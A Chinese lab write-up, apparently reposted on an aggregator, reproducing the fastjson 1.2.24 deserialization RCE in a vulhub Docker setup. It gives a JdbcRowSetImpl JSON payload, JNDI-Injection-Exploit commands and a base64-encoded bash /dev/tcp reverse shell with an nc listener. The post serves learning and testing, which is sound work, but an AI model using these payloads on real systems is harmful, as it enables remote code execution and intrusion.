fastjson 1.2.24 反序列化导致任意命令执行漏洞

news2024/11/23 2:51:37

fastjson 1.2.24 反序列化导致任意命令执行漏洞

文章目录

    • fastjson 1.2.24 反序列化导致任意命令执行漏洞
      • 1 在线漏洞解读:
      • 2 环境搭建
        • 2.1 启动:
        • 2.2 已启动:访问端口8090
      • 3 影响版本:
      • 4 漏洞复现
        • 4.1 访问页面
        • 4.2 bp抓包,修改参数
          • 4.2.1使用bp进行抓包,转发repeater,将get请求转成post
          • 4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值
      • 5 使用插件检测漏洞【FastjsonScan】
        • 5.1使用説明
        • 5.2 使用方法
          • 5.2.1 右键菜单中:
          • 5.2.2 FastjsonScan扫描结果界面:
          • 5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
          • 5.2.4 使用rmi协议不通
          • 5.2.5 尝试使用ldap协议,dnslog协议通了
          • 5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用
      • 6 构建一个imr服务器
        • 6.1 java通信协议
        • 6.2 下载工具JNDI协议服务
        • 6.3 执行漏洞核心指令
      • 7 kali进行下载安裝JNDI服务
          • 7.1 使用编译好的tar包,准备启动JNDI通信服务
          • 7.2 执行
          • 7.3 将下面请求依次放到bp--》漏洞请求参数中
          • 7.4 查看docker容器
          • 7.5 docker容器中成功创建文件test,命令执行成功
      • 8 构建反弹shell
        • 8.1 反弹shell一句话
        • 8.2 使用在线工具转义
        • 8.3 开启监听
        • 8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
        • 8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
        • 8.6 经过多次尝试,获取连接到shell

1 在线漏洞解读:

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

在这里插入图片描述

2 环境搭建

cd  /home/kali/vulhub/fastjson/1.2.24-rce

在这里插入图片描述

2.1 启动:
sudo docker-compose up -d

sudo docker-compose ps -a
sudo docker ps -a
2.2 已启动:访问端口8090

在这里插入图片描述

3 影响版本:

​ fastjson 1.2.24

4 漏洞复现

4.1 访问页面

​ 访问页面http://192.168.225.166:8090/,返回json字符串

.

4.2 bp抓包,修改参数
4.2.1使用bp进行抓包,转发repeater,将get请求转成post

在这里插入图片描述

4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值
{
	"name":"test",
	"age": 18
}

在这里插入图片描述

5 使用插件检测漏洞【FastjsonScan】

https://github.com/Maskhe/FastjsonScan
5.1使用説明
  • 下载项目中的FastjsonScan.jar文件

    在这里插入图片描述

  • 在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)

如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

在这里插入图片描述

5.2 使用方法

使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束

5.2.1 右键菜单中:

在这里插入图片描述

5.2.2 FastjsonScan扫描结果界面:
{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://weedjc37lvb2aq0bw6k08gkax13rrg.oastify.com/aaa","autoCommit":true}}

在这里插入图片描述

5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
http://dnslog.cn/  # 获取新的地址 5z5srb.dnslog.cn

在这里插入图片描述

5.2.4 使用rmi协议不通

在这里插入图片描述

5.2.5 尝试使用ldap协议,dnslog协议通了

在这里插入图片描述

5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用

在这里插入图片描述

6 构建一个imr服务器

6.1 java通信协议
JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
6.2 下载工具JNDI协议服务
https://github.com/welk1n/JNDI-Injection-Exploit
6.3 执行漏洞核心指令
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

要确保 1099、1389、8180端口可用,不被其他程序占用

7 kali进行下载安裝JNDI服务

┌──(kali💋kali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git    

在这里插入图片描述
在这里插入图片描述

7.1 使用编译好的tar包,准备启动JNDI通信服务
┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd                                                                       
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target

在这里插入图片描述

7.2 执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"

在这里插入图片描述

7.3 将下面请求依次放到bp–》漏洞请求参数中
rmi://192.168.225.166:1099/jv0kge
rmi://192.168.225.166:1099/vqmpi8
ldap://192.168.225.166:1389/vqmpi8
rmi://192.168.225.166:1099/kdhm9b
ldap://192.168.225.166:1389/kdhm9b

在这里插入图片描述

7.4 查看docker容器
sudo docker ps -a
sudo docker exec -it 532  /bin/bash

在这里插入图片描述

7.5 docker容器中成功创建文件test,命令执行成功

在这里插入图片描述

8 构建反弹shell

8.1 反弹shell一句话
nc -lvvp  6666   # 开启监听6666端口服务
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------

输入java指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"


bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
8.2 使用在线工具转义

在这里插入图片描述

8.3 开启监听
nc  -lvvp  6666

在这里插入图片描述

8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"

在这里插入图片描述

8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发

在这里插入图片描述

8.6 经过多次尝试,获取连接到shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1091350.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

每日一题 136. 只出现一次的数字(简单,位运算)

异或运算性质&#xff0c;两个相等的数作异或运算得零&#xff0c;任何数与零作异或运算保持不变 所以整个数组的异或和就是答案 class Solution:def singleNumber(self, nums: List[int]) -> int:ans 0for i in nums:ans ^ ireturn ans一行代码&#xff0c;reduce作累积操…

「AI反诈与智能风控」闭门研讨会报名丨青源Workshop第26期

青源Workshop丨No.26 AI反诈与智能风控&#xff1a;信息安全的矛与盾 AI红利接踵而至&#xff0c;安全风险如影随形。过去几年&#xff0c;人工智能技术的迅速发展催生了包括金融、电子商务、社交网络、医疗保健等众多应用场景。AI应用落地带来新安全风险&#xff0c;安全防护难…

Netty源码编译

Netty源码编译 想了解Netty源码&#xff0c;最好先从 netty-example 开始&#xff0c;多跑几个 example&#xff0c;了解Netty的实际应用。 编译 netty-example 会出现很多乱七八糟的问题&#xff0c;根本原因是因为缺少 io.netty.util.collection 包。 解决方法 1.先 instal…

渗透测试漏洞挖掘技巧

文章目录 一、使用.json进行敏感数据泄漏二、如何查找身份验证绕过漏洞三、在Drupal上找到隐藏的页面四、遗忘的数据库备份五、电子邮件地址payloads六、HTTP主机头&#xff1a;localhost七、通过篡改URI访问管理面板八、通过URL编码空格访问管理面板九、篡改URI绕过403十、Byp…

C# OpenVINO Cls 图像分类

效果 耗时 class idbrown_bear, score0.86 preprocess time: 0.00ms infer time: 2.72ms postprocess time: 0.02ms Total time: 2.74ms项目 代码 using OpenCvSharp; using Sdcb.OpenVINO; using Sdcb.OpenVINO.Natives; using System; using System.Diagnostics; using Sys…

忘记开机密码啦!我教你用ventoy找回密码

文章目录 一、前言二、实战过程三、动态演示四、原理解析五、总结 一、前言 当你有一天突然忘记了开机密码怎么办&#xff1f;又要上电脑店花个几十块让人弄&#xff1f;在上一章《你该自己学学安装操作系统了&#xff0c;小白一学就会&#xff08;ventoy装系统超详细&#xff…

舍弃Java模式,从头开始,用Rust书写编程的未来

沉迷于Rust之美&#xff1a;类型安全、内存安全、注重正确性&#xff0c;这叫人如何不爱呢&#xff1f; 在开发Apollo&#xff08;一款Python应用&#xff09;时&#xff0c;遇到了许多错误。如果我使用Rust&#xff0c;大多数错误都能被编译器捕获&#xff08;虽然无法做到百…

ubuntu联网图标消失

sudo service NetworkManager stopsudo rm /var/lib/NetworkManager/NetworkManager.statesudo service NetworkManager start执行 sudo rm /var/lib/NetworkManager/NetworkManager.state 命令将删除位于 /var/lib/NetworkManager 目录下的 NetworkManager.state 文件。

(C语言进阶)笔试题详解

一.要点回顾 1.一维整形数组 (1)sizeof()对一维整形数组的应用 #include<stdio.h> int main() {int a[] {1,2,3,4};printf("%d\n", sizeof(a));//16 //sizeof(数组名),数组名表示整个数组&#xff0c;计算的是整个数组的大小&#xff0c;单位是字节printf…

微信小程序备案流程操作详解

1、2023年9月1号小程序开始必须备案了,各位小程序商城只需要按流程自主去微信小程序后台操作即可; 2、对未上架的微信小程序,从2023年9月1号开始需先备案才能上架; 3、对存量已上架的小程序,需在2024年3月31号前完成备案即可。逾期未完成备案,平台将按照备案相关规定于…

英语学习工具推荐

无论您是初学者还是想要巩固英语能力的学习者&#xff0c;我们都为您提供了一个高效而便捷的英语学习工具。 英语复读机&#xff0c;您可以随时输入您想要复读的英语单词、句子或者文章。我们的复读机会循环播放您输入的内容&#xff0c;帮助您加深记忆、提高听力和口语表达能力…

相似性搜索:第 2 部分:产品量化

系列文章前篇&#xff1a;相似性搜索&#xff1a;第 1 部分- kNN 和倒置文件索引_无水先生的博客-CSDN博客 SImilarity 搜索是一个问题&#xff0c;给定一个查询的目标是在所有数据库文档中找到与其最相似的文档。 一、介绍 在数据科学中&#xff0c;相似性搜索经常出现在NLP领…

模式匹配(数据结构)

朴素模式匹配算法 #include <stdlib.h> #include <iostream> #include <stdio.h> #define MaxSize 255typedef struct{char ch[MaxSize];int length; }SString;//初始化 SString InitStr(SString &S){S.length0;return S; } //给串赋值 SString SetStr…

【计算机毕设选题推荐】产品管理系统SpringBoot+SSM+Vue

前言&#xff1a;我是IT源码社&#xff0c;从事计算机开发行业数年&#xff0c;专注Java领域&#xff0c;专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务 项目名 基于SpringBoot和SSM的产品管理系统 技术栈 SpringBootSSMVueMySQLMaven 文章目录 一、产品…

pip 安装dgl的问题

在该官网链接找到需要的对应包&#xff1a; 官网链接 安装之后可能的问题&#xff1a; 这个时候应该是网络问题导致的&#xff0c;这个时候可以自行前往网站下载 下载之后安装&#xff1a; 发现缺少依赖 p s u t i l psutil psutil&#xff0c;于是前往官网下载&#xff1a;…

C语言数据类型详解

1、什么是数据类型&#xff1f; 计算机编程语言是用来控制计算机的行为及操作&#xff0c;协助人们解决现实中的问题&#xff0c;其能表达的数据类型也是从实际中提取并抽象出来形成的数据结构描述。 例如&#xff1a;数学中数的基础分类有正整数、负整数、小数等类别&#x…

Linux系统编程:makefile以及文件系统编程

增量编译概念 首先回顾一下我们之前写的各种gcc指令用来执行程序&#xff1a; 可以看见非常繁琐&#xff0c;两个文件就要写这么多&#xff0c;那要是成百上千岂不完蛋。 所以为了简化工作量&#xff0c;很自然的想到了将这些命令放在一起使用脚本文件来一键执行&#xff0c…

Python+requests+Excel数据驱动的接口自动化测试中解决接口间数据依赖

在实际的测试工作中&#xff0c;在做接口自动化过程中往往会遇到接口间数据依赖问题&#xff0c;即API_03的请求参数来源与API_02的响应数据&#xff0c;API_02的请求参数又来源与API_01的响应数据&#xff0c;因此通过自动化方式测试API_03接口时&#xff0c;需要预先请求API_…

Linux下将驱动编译进内核

在开发的过程中&#xff0c;一般都是将驱动编译成模块&#xff0c;然后将其发送到开发板加载驱动进行功能验证&#xff0c;驱动的功能验证没有问题后就可以将其编译进内核了。本文将介绍如何把上一篇文章Linux下设备树、pinctrl和gpio子系统、LED灯驱动实验中的LED驱动编译到内…

[题] 前缀和 (含输入输出的耗时对比)

题目 前缀和 题解 前缀和模板 太简单了就多加了点东西:对比cin cout和scanf printf的耗时对比 代码 #include <iostream> using namespace std; const int N 100010; int n, m; int a[N], s[N]; int main(){scanf("%d%d", &n, &m);//原数组 for (in…